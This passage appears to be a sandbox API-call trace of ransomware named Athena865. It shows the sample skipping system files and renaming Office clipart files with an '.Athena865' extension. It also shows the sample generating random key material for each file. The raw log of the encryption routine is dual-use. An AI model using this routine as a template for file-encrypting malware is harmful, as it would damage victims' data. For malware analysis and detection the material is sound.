0x54ec38 [0128.552] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.553] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.553] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.553] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3630, lpName=0x0) returned 0x154 [0128.555] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3630) returned 0x100000 [0128.557] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.557] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.557] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.558] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.558] CloseHandle (hObject=0x154) returned 1 [0128.558] CloseHandle (hObject=0x17c) returned 1 [0128.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.559] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2=".") returned 1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="..") returned 1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="windows") returned -1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="bootmgr") returned 1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="temp") returned -1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="pagefile.sys") returned -1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="boot") returned 1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="ids.txt") returned 1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="ntuser.dat") returned -1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="perflogs") returned -1 [0128.559] lstrcmpiW (lpString1="J0232393.WMF", lpString2="MSBuild") returned -1 [0128.559] lstrlenW (lpString="J0232393.WMF") returned 12 [0128.559] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0232393.WMF" | out: lpString1="J0232393.WMF") returned="J0232393.WMF" [0128.559] lstrlenW (lpString="J0232393.WMF") returned 12 [0128.559] lstrlenW (lpString="Athena865") returned 9 [0128.559] lstrcmpiW (lpString1="32393.WMF", lpString2="Athena865") returned -1 [0128.559] lstrlenW (lpString=".dll") returned 4 [0128.560] lstrcmpiW (lpString1="J0232393.WMF", lpString2=".dll") returned 1 [0128.560] lstrlenW (lpString=".lnk") returned 4 [0128.560] lstrcmpiW (lpString1="J0232393.WMF", lpString2=".lnk") returned 1 [0128.560] lstrlenW (lpString=".ini") returned 4 [0128.560] lstrcmpiW (lpString1="J0232393.WMF", lpString2=".ini") returned 1 [0128.560] lstrlenW (lpString=".sys") returned 4 [0128.560] lstrcmpiW (lpString1="J0232393.WMF", lpString2=".sys") returned 1 [0128.560] lstrlenW (lpString="J0232393.WMF") returned 12 [0128.560] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.Athena865") returned 73 [0128.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.athena865"), dwFlags=0x1) returned 1 [0128.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.561] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27586) returned 1 [0128.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.562] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.562] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.562] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.563] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6ed0, lpName=0x0) returned 0x154 [0128.564] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6ed0) returned 0x100000 [0128.566] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.567] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.567] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.568] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.568] CloseHandle (hObject=0x154) returned 1 [0128.568] CloseHandle (hObject=0x17c) returned 1 [0128.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.568] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2=".") returned 1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="..") returned 1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="windows") returned -1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="bootmgr") returned 1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="temp") returned -1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="pagefile.sys") returned -1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="boot") returned 1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="ids.txt") returned 1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="ntuser.dat") returned -1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="perflogs") returned -1 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2="MSBuild") returned -1 [0128.569] lstrlenW (lpString="J0232395.WMF") returned 12 [0128.569] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0232395.WMF" | out: lpString1="J0232395.WMF") returned="J0232395.WMF" [0128.569] lstrlenW (lpString="J0232395.WMF") returned 12 [0128.569] lstrlenW (lpString="Athena865") returned 9 [0128.569] lstrcmpiW (lpString1="32395.WMF", lpString2="Athena865") returned -1 [0128.569] lstrlenW (lpString=".dll") returned 4 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2=".dll") returned 1 [0128.569] lstrlenW (lpString=".lnk") returned 4 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2=".lnk") returned 1 [0128.569] lstrlenW (lpString=".ini") returned 4 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2=".ini") returned 1 [0128.569] lstrlenW (lpString=".sys") returned 4 [0128.569] lstrcmpiW (lpString1="J0232395.WMF", lpString2=".sys") returned 1 [0128.569] lstrlenW (lpString="J0232395.WMF") returned 12 [0128.570] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.Athena865") returned 73 [0128.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.athena865"), dwFlags=0x1) returned 1 [0128.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.571] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41094) returned 1 [0128.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.572] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.572] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.572] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.573] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa390, lpName=0x0) returned 0x154 [0128.574] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa390) returned 0x100000 [0128.578] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.578] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.579] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.579] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.580] CloseHandle (hObject=0x154) returned 1 [0128.580] CloseHandle (hObject=0x17c) returned 1 [0128.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.580] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0128.581] lstrcmpiW (lpString1="J0232795.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.581] lstrcmpiW (lpString1="J0232795.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.581] lstrcmpiW (lpString1="J0232795.WMF", lpString2=".") returned 1 [0128.581] lstrcmpiW (lpString1="J0232795.WMF", lpString2="..") returned 1 [0128.581] lstrcmpiW (lpString1="J0232795.WMF", lpString2="windows") returned -1 [0128.581] lstrcmpiW (lpString1="J0232795.WMF", lpString2="bootmgr") returned 1 [0128.581] lstrcmpiW (lpString1="J0232795.WMF", lpString2="temp") returned -1 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2="pagefile.sys") returned -1 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2="boot") returned 1 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2="ids.txt") returned 1 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2="ntuser.dat") returned -1 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2="perflogs") returned -1 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2="MSBuild") returned -1 [0128.582] lstrlenW (lpString="J0232795.WMF") returned 12 [0128.582] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0232795.WMF" | out: lpString1="J0232795.WMF") returned="J0232795.WMF" [0128.582] lstrlenW (lpString="J0232795.WMF") returned 12 [0128.582] lstrlenW (lpString="Athena865") returned 9 [0128.582] lstrcmpiW (lpString1="32795.WMF", lpString2="Athena865") returned -1 [0128.582] lstrlenW (lpString=".dll") returned 4 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2=".dll") returned 1 [0128.582] lstrlenW (lpString=".lnk") returned 4 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2=".lnk") returned 1 [0128.582] lstrlenW (lpString=".ini") returned 4 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2=".ini") returned 1 [0128.582] lstrlenW (lpString=".sys") returned 4 [0128.582] lstrcmpiW (lpString1="J0232795.WMF", lpString2=".sys") returned 1 [0128.582] lstrlenW (lpString="J0232795.WMF") returned 12 [0128.582] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.Athena865") returned 73 [0128.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.athena865"), dwFlags=0x1) returned 1 [0128.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.584] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14346) returned 1 [0128.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.584] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.585] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.585] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.585] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b10, lpName=0x0) returned 0x154 [0128.587] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b10) returned 0x100000 [0128.588] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.589] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.589] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.590] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.590] CloseHandle (hObject=0x154) returned 1 [0128.590] CloseHandle (hObject=0x17c) returned 1 [0128.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.590] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0128.590] lstrcmpiW (lpString1="J0232797.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.590] lstrcmpiW (lpString1="J0232797.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.590] lstrcmpiW (lpString1="J0232797.WMF", lpString2=".") returned 1 [0128.590] lstrcmpiW (lpString1="J0232797.WMF", lpString2="..") returned 1 [0128.590] lstrcmpiW (lpString1="J0232797.WMF", lpString2="windows") returned -1 [0128.590] lstrcmpiW (lpString1="J0232797.WMF", lpString2="bootmgr") returned 1 [0128.590] lstrcmpiW (lpString1="J0232797.WMF", lpString2="temp") returned -1 [0128.590] lstrcmpiW (lpString1="J0232797.WMF", lpString2="pagefile.sys") returned -1 [0128.591] lstrcmpiW (lpString1="J0232797.WMF", lpString2="boot") returned 1 [0128.591] lstrcmpiW (lpString1="J0232797.WMF", lpString2="ids.txt") returned 1 [0128.591] lstrcmpiW (lpString1="J0232797.WMF", lpString2="ntuser.dat") returned -1 [0128.591] lstrcmpiW (lpString1="J0232797.WMF", lpString2="perflogs") returned -1 [0128.591] lstrcmpiW (lpString1="J0232797.WMF", lpString2="MSBuild") returned -1 [0128.591] lstrlenW (lpString="J0232797.WMF") returned 12 [0128.591] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0232797.WMF" | out: lpString1="J0232797.WMF") returned="J0232797.WMF" [0128.591] lstrlenW (lpString="J0232797.WMF") returned 12 [0128.591] lstrlenW (lpString="Athena865") returned 9 [0128.591] lstrcmpiW (lpString1="32797.WMF", lpString2="Athena865") returned -1 [0128.591] lstrlenW (lpString=".dll") returned 4 [0128.591] lstrcmpiW (lpString1="J0232797.WMF", lpString2=".dll") returned 1 [0128.591] lstrlenW (lpString=".lnk") returned 4 [0128.591] lstrcmpiW (lpString1="J0232797.WMF", lpString2=".lnk") returned 1 [0128.591] lstrlenW (lpString=".ini") returned 4 [0128.591] lstrcmpiW (lpString1="J0232797.WMF", lpString2=".ini") returned 1 [0128.591] lstrlenW (lpString=".sys") returned 4 [0128.591] lstrcmpiW (lpString1="J0232797.WMF", lpString2=".sys") returned 1 [0128.591] lstrlenW (lpString="J0232797.WMF") returned 12 [0128.591] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.Athena865") returned 73 [0128.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.athena865"), dwFlags=0x1) returned 1 [0128.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.593] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35228) returned 1 [0128.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.596] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 